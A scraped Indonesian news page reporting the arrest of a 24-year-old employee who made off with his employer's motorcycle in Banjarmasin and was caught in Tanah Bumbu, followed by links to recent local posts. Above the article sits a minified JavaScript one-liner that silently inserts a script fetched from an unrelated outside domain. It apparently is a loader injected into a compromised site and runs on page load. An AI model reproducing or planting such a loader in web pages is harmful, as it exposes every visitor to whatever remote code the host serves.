(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Bawa Kabur Motor Operasional Kantor, Karyawan di Banjarmasin Dibekuk di Tanbu


KANALKALIMANTAN.COM, BANJARMASIN – Seorang lelaki berinisial EEP harus berurusan dengan polisi akibat membawa kabur motor milik seorang warga di Kota Banjarmasin.

EEP dilaporkan ke Polsek Banjarmasin Barat oleh korban atas penggelapan sebuah sepeda motor pada 12 Juli 2023 sekitar pukul 10.00 Wita lalu.

Pelaku merupakan warga asal Kota Tebing Tinggi, Provinsi Sumatera Utara dan masih berusia 24 tahun. EEP membawa kabur sepeda motor di kantor korban jalan Purnasakti Jalur IX No 21 RT 021 RW 002, Kelurahan Basirih, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Kapolres Banjarmasin Barat Kompol Indra Agung Perdana Putra melalui Kanit Reskrim Iptu Firuza mengatakan pelaku merupakan karyawan korban yang awalnya membawa satu unit sepeda motor untuk operasional.

Baca juga: Turdes di Tapin, Rekam e-KTP Pelajar hingga Tanam Pohon Penghijauan

Usai membawa sepeda motor, pelaku tidak kunjung kembali dan tidak dapat dihubungi oleh korban hingga akhirnya korban membuat laporan resmi ke polisi.

“Adapun sepeda motor yang dibawa terlapor yaitu Sonic type unit sepeda motor Honda Y3B02R17LO M/T, model solo tahun 2021, warna merah putih nopol DA 4568 AF atas nama Batara Yuda Pernando HT Barat,” kata Iptu Firuzi, Jumat (4/8/2023) malam.

EEP berhasil diamankan di Kabupaten Tanah Bumbu tepatnya jalan Sumpul, Desa Makmur Mulia, Kecamatan Satui, Kabupaten Tanah Bumbu, Kalsel pada Rabu (2/8/2023) sekitar pukul 22.00 Wita.

“Pelaku diamankan unit Opsnal Reskrim Banjarmasin Barat dibackup Unit Reskrim Polsek Satui,” katanya.

Baca juga: 850 Karateka Ramaikan Open Tournament Bupati Banjar Cup II dan ASKI Cup III

Disebutkan, akibat kejadian tersebut korban mengalami kerugian sekitar Rp20 juta.

Pelaku telah digiring ke Mapolsek Banjarmasin Barat dan terancam Pasal 372 KUHP tentang Penggelapan dengan ancaman hukuman maksimal 4 tahun penjara. (Kanalkalimantan.com/Rizki)

Reporter: rizki
Editor : bie


Risa

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

2 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

4 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

4 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

4 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

6 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

7 jam ago

This website uses cookies.